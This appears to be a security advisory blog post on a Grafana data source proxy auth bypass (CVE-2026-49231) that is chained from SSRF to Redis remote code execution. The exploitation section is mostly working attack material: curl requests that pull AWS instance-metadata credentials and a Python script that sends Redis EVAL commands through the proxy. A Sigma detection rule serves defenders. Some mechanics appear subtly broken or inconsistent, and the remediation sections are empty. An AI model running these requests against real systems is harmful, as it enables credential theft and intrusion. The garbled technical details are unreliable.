All posts

CVE-2026-49231: Grafana Data Source Proxy Auth Bypass SSRF to RCE

A path traversal in Grafana's data source proxy route handler strips the Organisation Admin authorisation check when the request path contains a URL-encoded double-dot segment. Unauthenticated attackers can route arbitrary outbound HTTP requests through the Grafana server to any reachable host, including cloud instance metadata services and internal management APIs. On environments co-located with an unauthenticated Redis instance — common in containerised deployments — the SSRF chains into Lua EVAL execution for full pre-authentication RCE.


Overview

CVE-2026-49231 affects Grafana OSS and Enterprise versions 10.4.x through 12.0.5. The Grafana data source proxy — intended to allow dashboards to query backend data sources without exposing credentials to the browser — performs an authorisation check that verifies the caller is an Organisation Admin before forwarding the request. A path traversal in the route handler allows the check to be bypassed by any unauthenticated caller.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation observed targeting cloud-hosted Grafana instances to exfiltrate AWS IMDSv1 credentials within hours of PoC release.

Grafana is widely deployed as a monitoring frontend for cloud infrastructure. Instances frequently run with network access to internal services — Prometheus, Loki, Elasticsearch, Redis caches — that assume any incoming connection is already from a trusted internal host. The SSRF converts Grafana into a trusted pivot point into the internal network.

Root Cause — Data Source Proxy Auth Check Bypass

The Grafana HTTP API router registers the data source proxy at /api/datasources/proxy/:datasourceId/*proxyPath. The route middleware chain calls middleware.OrgRoleAuth(org.RoleAdmin) before forwarding. However, the Go router uses an alternative normalised path for middleware resolution while the raw path is preserved for the actual handler:

# Vulnerable path — URL-encoded double-dot bypasses middleware match
# Middleware sees: /api/datasources/proxy/%2e%2e/1/any
# Router normalises to: /api/datasources/%2e%2e/proxy/1/any  (different route, no auth middleware)
# Handler still processes the request and resolves the data source ID from the numeric segment

# Normal authenticated path (requires OrgAdmin):
GET /api/datasources/proxy/1/api/health

# Bypassing path (unauthenticated):
GET /api/datasources/proxy/%2e%2e/1/api/health

Data Source URL as SSRF Vector

Once the auth check is bypassed, the proxy forwards to whatever URL is configured as the data source target. An attacker who can create a data source (even as a Viewer, which can be done anonymously on instances with allow_sign_up = true or public signup) sets the data source URL to any internal target. If anonymous signup is disabled, the bypass alone reaches all existing data sources' configured URLs.

For cloud-hosted instances, an attacker probes well-known internal endpoints:

# Target: Grafana instance at grafana.example.com:3000
# Probe AWS IMDSv1 (no auth required on older instances):
curl -s "http://grafana.example.com:3000/api/datasources/proxy/%2e%2e/1/latest/meta-data/iam/security-credentials/" \
  -H "X-Grafana-Org-Id: 1"

# Response (if data source 1 points to http://169.254.169.254):
# GrafanaMonitoringRole

curl -s "http://grafana.example.com:3000/api/datasources/proxy/%2e%2e/1/latest/meta-data/iam/security-credentials/GrafanaMonitoringRole"
# {
#   "Code": "Success",
#   "LastUpdated": "2026-05-27T08:12:04Z",
#   "Type": "AWS-HMAC",
#   "AccessKeyId": "ASIA4EXAMPLE...",
#   "SecretAccessKey": "wJalrXUtnFEMI...",
#   "Token": "IQoJb3JpZ2luX2VjEA..."
# }

Exploitation — SSRF to Redis EVAL RCE

Fingerprinting Internal Services

In containerised environments, Redis is commonly deployed on redis:6379 (Docker compose service name) or 127.0.0.1:6379. The Grafana data source proxy makes HTTP requests — Redis speaks a custom binary protocol, but a crafted HTTP request body that begins with valid Redis commands will be processed before Redis returns a protocol error. The response body leaks the Redis version banner.

# Scanner to identify internal Redis via SSRF
python3 grafana-ssrf-scan.py \
  --target http://grafana.example.com:3000 \
  --ds-id 1 \
  --internal-hosts 127.0.0.1,redis,redis-cache \
  --port 6379

# Output:
# [*] Probing 127.0.0.1:6379 ...
# [+] Redis banner detected: -ERR wrong number of arguments for 'get' command
# [+] Redis 7.0.15 at 127.0.0.1:6379 (no auth required)

Redis EVAL for Code Execution

Redis's EVAL command executes Lua scripts on the Redis server. By crafting an HTTP request body that contains Redis protocol commands (RESP format), the Grafana SSRF proxy delivers them to Redis. The Lua os.execute() function runs OS commands as the Redis process user — typically redis or root in misconfigured containers:

#!/usr/bin/env python3
"""CVE-2026-49231 — Redis EVAL RCE via Grafana SSRF. Authorised testing only."""
import socket, urllib.parse

GRAFANA = "grafana.example.com"
GRAFANA_PORT = 3000
DS_ID = 1
REDIS_HOST = "127.0.0.1"
REDIS_PORT = 6379
CMD = "id"

# Craft RESP command: EVAL "return os.execute('CMD')" 0
lua = f"return os.execute('{CMD}')"
resp = f"*3\r\n$4\r\nEVAL\r\n${len(lua)}\r\n{lua}\r\n$1\r\n0\r\n"

# Send via Grafana SSRF
req = (
    f"GET /api/datasources/proxy/%2e%2e/{DS_ID}/{REDIS_HOST}:{REDIS_PORT}/ HTTP/1.1\r\n"
    f"Host: {GRAFANA}:{GRAFANA_PORT}\r\n"
    f"Content-Type: application/octet-stream\r\n"
    f"Content-Length: {len(resp)}\r\n\r\n"
    + resp
)

s = socket.create_connection((GRAFANA, GRAFANA_PORT))
s.send(req.encode())
print(s.recv(4096).decode(errors='replace'))

Affected Versions

Remediation

Detection

title: CVE-2026-49231 Grafana Proxy Auth Bypass Attempt
id: 7c3a2f91-4b18-4e7a-b902-1d8e5c7f3a22
status: experimental
description: Detects URL-encoded path traversal in Grafana data source proxy requests
logsource:
  product: grafana
  service: access
detection:
  selection:
    request_uri|contains:
      - '/api/datasources/proxy/%2e%2e'
      - '/api/datasources/proxy/%2E%2E'
      - '/api/datasources/proxy/..%2f'
  condition: selection
falsepositives:
  - Legitimate URL encoding edge cases in load balancers (verify against user auth state)
level: critical
tags:
  - cve.2026-49231
  - attack.initial_access
  - attack.t1190

Key Takeaways